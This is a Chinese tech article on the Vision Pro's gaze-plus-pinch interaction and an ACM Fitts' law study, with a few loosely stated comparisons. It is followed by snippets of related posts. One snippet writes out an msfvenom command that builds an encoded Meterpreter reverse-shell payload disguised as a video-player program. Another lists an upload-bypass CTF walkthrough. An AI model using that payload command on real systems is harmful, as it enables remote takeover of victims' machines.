苹果Vision Pro手势+眼球融合交互的奥秘

毫无疑问,Vision Pro在眼球追踪+手势的融合交互体验上,给AR/VR头戴设备带来了新突破,在用户体验上的提升非常明显。

​那么,为什么Vision Pro上这一功能会被如此值得关注呢?为了弄清楚,我们先来看看主流VR设备是如何做的。

主流VR和Vision Pro的差异

在此之前,很多主流AR/VR产品已经采用这两种技术方案,只不过并未把两种交互方式融合,这其中有几点原因:

1,手势方面,包括Quest等主流VR设备以手柄交互体验为主,手势追踪仅作为补充式体验,即便从功能层面可以替代大部分手柄上的按键和功能。

而Vision Pro没有手柄,首选方式是通过眼球追踪+手势来完成,当然也提供了辅助功能(含手势射线模式)。

2,主流VR的手势追踪必须将手放在摄像头FOV范围内,使用时双手必须微抬或举在身体前面,时间一长就非常累,导致用户体验差。

而Vision Pro则拥有6颗SLAM+手势摄像头,其中有两颗向下的摄像头专门捕捉手垂放在腿上的视角。另外,还有两颗斜向下的摄像头同时兼顾SLAM和手势。甚至为了弱光环境下手势识别准确性,苹果还加入了两颗红外LED进行辅助。

这种垂直视角的摄像头,专门用于捕捉大部分时间、不抬手的时候的手势,因为很多时候双手应该自然垂放在腿或桌子上,符合人体工学逻辑。苹果Vision Pro是AR/VR中的首家采用这一方案的设备,更是独一份。

Vision Pro 直接手势

因为苹果在开发文档中也提到,如果使用直接手势(双手直接触碰虚拟物体,比如虚拟键盘等),需要将双手抬起至头显透镜FOV的视野之内,尽管它的捕捉摄像头范围够广,​必须让双手在FOV可见范围内才行。而多次/频繁的直接手势操作会带来疲劳感,应尽量避免。

3,眼球追踪方面,主流VR设备更注重VR应用内的场景,比如VR游戏凝视交互、Avatar眼球动作等,甚至也可以用于注视点渲染提升帧率等,确实提升了游戏体验。

凝视的高光变化

Vision Pro凝视+手势捏合

而Vision Pro采用的visionOS系统底层逻辑是大量2D窗口交互,包括文字选中、菜单选择都可以通过眼球+手势来完成,这其中眼球+手势融合交互就非常重要。当然,PS VR2部分游戏也提供眼球凝视菜单选项,体验尚可。

4,产品定位和价格方面的因素。VR一体机都是在主流价位去推广,通过SLAM摄像头同时完成头显定位和手柄追踪以及手势追踪,因此SLAM摄像头的安装角度主要照顾了头显的定位,而非手势追踪的体验。

这也就导致了,包括Quest等VR设备上通过斜向下的摄像头同时来捕捉手势,而双手放在腿部或靠下时完全不在捕捉范围。

而Vision Pro高举高打,不在乎售价意在通过高规格硬件提供高规格的体验。

当然,这里面还没有提到Vision Pro专门为摄像头、传感器准备的R1芯片,就是为了低延迟处理这些视觉数据,从而实现更精准交互方案,可以说Vision Pro的交互逻辑从软件、硬件、芯片、算法等多方位于一体,是一个鸿沟式的差异。

二、眼球+手势和纯手势对比

由上文得知,Vision Pro和之前的VR交互方式上存在较大差异。那么,两种交互方式又带来了哪些差异呢?

据青亭网了解,今年4月19日在ACM公布的一份论文“A Fitts' Law Study of Gaze-Hand Alignment for Selection in 3D User Interfaces”中,就明确提到了凝视+捏合的交互类型,并且对手势射线的供5种交互方式进行对比。

该论文第一作者Uta Wagner来自于由丹麦奥胡斯大学计算机科学系,这里我们将其中的2类代表“仅基于手势射线”和“基于凝视射线+手势捏合”的测试差异进行对比。

2-1,选择目标测试

该研究基于菲茨定律研究进行设计,在FOV内不同深度呈现目标来进行“选择目标测试”,如上图,得出的结果是:

  • 吞吐量:凝视射线+捏合(2.1bits)>手势射线(1.4bits);
  • 错误率:无明显差异;
  • 物理消耗:凝视射线+捏合(2)>手势射线(4)。

2-2,AR菜单激活和选择测试

在进行AR菜单激活和选择测试中,得出的结果是:

  • 速度:凝视射线+捏合(2.5s)>手势射线(4.6s);
  • 错误:手势射线(1%)>凝视射线+捏合(3%);
  • 测试人员的喜好:凝视射线+捏合(6/16)>手势射线(0/16)。

论文中所有测试方案

基于本论文的研究,得出的结论还有:

  • 1,所有测试方案中,结合凝视的方案在效率更高、速度更快,始终比手势射线表现更优秀;
  • 2,论文中提出的凝视射线+手势射线融合方案性能和其它相当,也比较受测试者欢迎,仅次于凝视射线+捏合;
  • 3,视察因素对平面图像中交互更为不利。

综上所述,基于凝视射线+捏合(苹果Vision Pro的方案,只不过它隐藏了凝视射线,但在UI中结合了高光等进行提示)在速度、效率上更高,也最受欢迎。同时,也表明凝视+手势结合的交互方式在今后AR/VR交互中更具潜力。不过要说的体感反馈,当然还是现在的手柄在体验和成本方面优势明显,今后在无手持设备的凝视+手势交互时代,智能手环或智能戒指也有望成为体感反馈的重要工具。

参考:Apple、ACM

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/33180.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

原来,这就是铁路隧道R型变压器的工作真相!

铁路作为我们日常交通的重要出行设备,其安全稳定性极为重要。高速铁路具有行车速度快、行车密度高、负荷分布密集、自动化程度高、要求安全、正点运行的特点。铁路隧道对电力系统的供电可靠性也有非常严格的要求。铁路隧道R型变压器在铁路隧道供电系统中的主要功能是…

Upload靶场通关笔记

文章目录 一、Pass-011.抓包上传2.获取上传路径3.工具验证 二、Pass-02三、Pass-031.使用httpd.conf自定义后缀2.提取上传文件名3.工具测试4.注意点四、Pass-041.上传.htaccess2.上传图片3.工具测试 五、Pass-05六、Pass-061.空格.号绕过2.工具测试 七、Pass-07八、Pass-081.特…

NoSQL之Redis优化(一)

Redis的高可用 一、Redis 持久化RDB 持久化AOF 持久化RDB和AOF的优缺点 二、Redis 性能管理内存碎片如何产生的?解决碎片率大的问题:内存使用率内回收key 在web服务器中,高可用是指服务器可以正常访问的时间,衡量的标准是在多长时…

8.6 socket套接字及TCP的实现框架

socket套接字 目录 socket套接字 体系结构的两种形式 几种常见的网络编程接口 socket套接字 socket常用API介绍 socket套接字 三元组【IP地址,端口,协议】 地址族结构体 套接字类型 TCP通信的实现过程 体系结构的两种形式 网络的体系结构 (N…

TinyViT: 一种高效的蒸馏方法

目录 背景方法大意快速预训练蒸馏(Fast Pretraining Distillation, FPD)如何实现快速三个细节深入理解FPD 模型架构训练trick预训练参数配置(Imagenet21k-pretraining)finetuning 参数配置(Imagenet-1k) 消融实验**Q: 数据是否越多…

window10 sourceTree 更新系统后打不开解决办法

C:\Users\你的用户名\AppData\Local\Atlassian\SourceTree.exe_Url_j5xkjtpcegcqqaaahn4rsx42sj42zy5a\版本号这个目录下 删除文件Composition.cache (在启动即可) 打开sourcetree后成功生成了我们删除的 Composition.cache 文件。

论文浅尝 | SimKGC:基于预训练语言模型的简单对比知识图谱补全

笔记整理:李雅新,天津大学硕士,研究方向为知识图谱补全 链接:https://dl.acm.org/doi/10.1145/3539597.3570483 动机 知识图谱补全 (KGC) 旨在对已知事实进行推理并推断缺失的链接。基于文本的方法从自然语言描述中学习实体表示&a…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

基于Alexnet网络实现猫狗数据集分类(Keras框架)

目录 1、作者介绍2、Alexnet网络2.1 网络介绍2.2 AlexNet网络的主要特点 3、基于Alexnet网络实现猫狗数据集分类3.1 猫狗大战数据集3.2 数据集处理3.3 准备工作3.4 训练过程3.5 对比实验3.5.1 HALCON平台下的Alexnet对比实验3.5.2 HALCON平台下的Resnet-50对比实验3.5.3 HALCON…

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题

解决win10开机卡顿、配置很高但是玩游戏卡顿掉帧等问题 最近组装了一台高配置的新电脑,装好了各种驱动、软件等。发现系统开机后卡顿一分钟左右(加载应用配置等),但是我的系统启动项明明就没多少,不应该是这样的情况&…

人工智能(AI)在金融行业的应用

人工智能(AI)技术在金融行业的应用日益广泛,为金融机构提供了更高效、更智能的解决方案。以下和大家分享AI在金融行业的一些主要应用,希望对大家有所帮助。北京木奇移动技术有限公司,专业的软件外包开发公司&#xff0…

Android 13(T) - binder阅读(5)- 使用ServiceManager注册服务2

上一篇笔记我们看到了binder_transaction,这个方法很长,这一篇我们将把这个方法拆分开来看binder_transaction做了什么,从而学习binder是如何跨进程通信的。 1 binder_transaction static void binder_transaction(struct binder_proc *proc…

Docker-DockerFile制定镜像

本文已收录于专栏 《中间件合集》 目录 概念说明DockerDockerFile 提供服务指令解析应用实例常用命令总结提升 概念说明 Docker &emspDocker是一种开源的容器化平台,它可以将应用程序及其依赖项打包到一个独立的、可移植的容器中,以实现快速部署和跨…

【0212】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 2)

文章目录 1. 回顾2. 密码校验通过3. 密码校验失败上一文:【0211】tcpdump抓包分析pg_hba.conf以password作为认证证方式下frontend与Backend之间身份验证过程(13 - 1) 1. 回顾 在上一节内容中,讲解了Backend对于接收到来自frontend的字符串明文密码,和来自于来自pg_auth…

【网络原理】TCP/IP协议五层模型

🥊作者:一只爱打拳的程序猿,Java领域新星创作者,CSDN、阿里云社区优质创作者。 🤼专栏收录于:计算机网络原理 本期讲解协议、OSI七层模型、TCP/IP五层模型、网络设备所在的分层、数据的封装和分佣。 目录 …

STM32速成笔记—RTC

文章目录 一、RTC简介二、STM32的RTC2.1 主要特性2.2 RTC框图介绍 三、访问后备区域步骤四、RTC配置步骤五、RTC程序配置5.1 RTC结构体定义5.2 RTC初始化函数5.3 设置年月日,时分秒5.4 判断闰年函数5.5 获取当前年月日,时分秒5.6 获取星期几5.7 中断服务…

ModaHub魔搭社区:安装、启动 Milvus 服务(GPU版)教程

目录 安装、启动 Milvus 服务 安装前提 操作系统 硬件 软件 确认 Docker 状态 拉取 Milvus 镜像 下载并修改配置文件 启动 Milvus Docker 容器 常见问题 接下来你可以 安装、启动 Milvus 服务 CPU 版 Milvus GPU 版 Milvus 安装前提 操作系统 操作系统 版本 Ce…

Windows下安装ClickHouse图文教程

文章目录 1.安装WSL21.1启用适用于 Linux 的 Windows 子系统1.2启用Windows虚拟机功能1.3将WSL2设置为默认版本1.4下载Linux内核更新包1.5安装Linux子系统1.6设置账户和密码 2.安装Docker2.1下载与安装2.2设置镜像地址 3.安装Clickhouse3.1拉取镜像3.2启动clickhouse-server3.3…

git常用命令之命令集

15. 命令集 场景1. 构造1个文件的10个commit 命令作用for i in {1..10}; do date >> 66.txt && git add . && git commit -sm "update"; done自证 场景2. 构造10个文件 命令作用for i in {1..10}; do date >> "file_$i.log&quo…

vue3+vite安装配置element-plus

配置 element-plus 1. 安装 yarn add element-plus element-plus/icons-vue2. 按需引入插件 yarn add unplugin-vue-components unplugin-auto-import -D3. 配置vite.config.ts // vite.config.ts import AutoImport from unplugin-auto-import/vite import Components fro…